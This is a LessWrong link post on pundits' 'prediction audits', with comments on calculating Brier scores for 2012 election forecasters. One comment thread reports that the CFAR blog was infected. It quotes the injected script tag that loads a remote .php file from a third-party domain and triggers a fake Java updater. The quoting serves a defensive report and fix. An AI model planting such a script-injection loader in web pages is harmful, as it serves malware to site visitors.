[LINK] "Prediction Audits" for Nate Silver, Dave Weigel

post by orthonormal · 2011-12-30T21:07:50.916Z · LW · GW · Legacy · 18 comments

Nate Silver (the NYT quantitative political analyst) and Dave Weigel (the Slate columnist) have started a good tradition, listing their worst predictions of 2011. (Silver also listed his best.)

If any other pundits are doing the same, link them here.


Comments sorted by top scores.

comment by lukeprog · 2012-11-07T20:34:51.959Z · LW(p) · GW(p)

Now that the election is over, I would like to see someone calculate Nate Silver's Brier score (including his Senate predictions), and also the Brier score for anyone else who gave that many probabilistic predictions.

comment by lukeprog · 2012-11-08T01:37:37.695Z · LW(p) · GW(p)

Update: Gwern is working on this with me. The result will be a CFAR blog post.

comment by gwern · 2012-11-09T00:39:17.091Z · LW(p) · GW(p)
comment by arundelo · 2012-11-09T01:22:56.065Z · LW(p) · GW(p)

When I go to that post on the CFAR site I get a popup window that says:

Security Warning
Do you want to run this application?
Name: Java(TM) Platform SE Auto Updater
Publisher: UNKNOWN
From: http://barbarie.ch

If I hit cancel it goes away and immediately returns. I'm using Firefox 16.0.2.

comment by arundelo · 2012-11-09T01:31:46.120Z · LW(p) · GW(p)

Looks like the whole blog part of the site is infected.

Edit: I can't pinpoint where the infection is and I can't duplicate it on another computer, but in case it helps, here are the URLs of the jar files it's trying to run:


I'm also putting a link to this info in the "Contact the CFAR Staff" form on the site.

comment by lukeprog · 2012-11-09T02:55:10.234Z · LW(p) · GW(p)

Thanks. We have someone looking at it now.

comment by arundelo · 2012-11-09T03:37:59.708Z · LW(p) · GW(p)

In case they haven't found it yet, it looks like the code that sets the mischief in motion is the following:

<div class="textwidget"><p><script type="text/javascript" src="http://www.balivilla.fr/jquery.php"></script></p>

(LW's Markdown processor may add angle brackets around the URL that aren't really there.)

comment by lukeprog · 2012-11-09T04:24:31.086Z · LW(p) · GW(p)

Thanks; I believe it's now fixed.

comment by aaronsw · 2012-11-09T01:45:41.868Z · LW(p) · GW(p)

Why doesn't Jackman get a Brier score? He claims it's .00991: http://jackman.stanford.edu/blog/?p=2602

comment by gwern · 2012-11-09T02:19:36.506Z · LW(p) · GW(p)

Jackman only just released his data now (after twittering with me, incidentally, I was able to explain why his R Brier score wasn't matching his hand-calculated Brier score) because he forgot to send it to me last night; and I'm running on fumes - we started this project from scratch yesterday at 5PM and I've been working on it ever since. EDIT: Looks like all the kerfluffle of new Brier/RMSE scores prodded Sam Wang into releasing his precise predictions too! Neat. EDITEDIT: I've gotten Jackman's data, incorporated it, discovered an error in my own data, differed with Jackman, learned he regarded 5 states as such a sure thing he didn't include probabilities while I had simply put in NAs, and now we've converged on his Brier score. Phew! His current Brier score is 0.009713686, a bit worse than Silver's 0.009113725, and both seem to be outperformed by Drew Linzer's 0.003843257. Wang seems to've released the data, but the CSV is unlabeled and I have no idea what half the columns mean...

I'd also like to include a random-guesser equivalent for RMSE... Tomorrow.

comment by gwern · 2012-11-09T21:05:05.331Z · LW(p) · GW(p)

A better Brier random guesser and its RMSE equivalent are now in the R doc and hopefully the blog post will be updated shortly.

comment by lukeprog · 2012-11-09T02:00:00.126Z · LW(p) · GW(p)

We only included people whose Brier scores we could calculate ourselves. We plan to add Jackman when we get his data.

comment by aaronsw · 2012-11-09T01:44:25.915Z · LW(p) · GW(p)

Apparently a team at Penn is doing this as well:


comment by smijer · 2011-12-31T00:25:01.124Z · LW(p) · GW(p)

Is there a free / registration only prediction market game? I'm too poor to gamble real money, but I'd like to see something that will allow gambling for points or some such, and introduce it to my circle of friends. Something that allows a wide variety of categories of bet, with the ability to add your own well-quantified predictions.

comment by Solvent · 2011-12-31T11:30:02.998Z · LW(p) · GW(p)

I assume that you've heard of PredictionBook? That's not scored, but it is a good system.

comment by smijer · 2012-01-10T16:11:30.052Z · LW(p) · GW(p)

Thank you. I will check it out.

comment by AlexSchell · 2011-12-30T22:19:51.138Z · LW(p) · GW(p)

Weigel only lists his four worst.

comment by orthonormal · 2011-12-30T23:45:52.843Z · LW(p) · GW(p)

Fixed the post- thanks!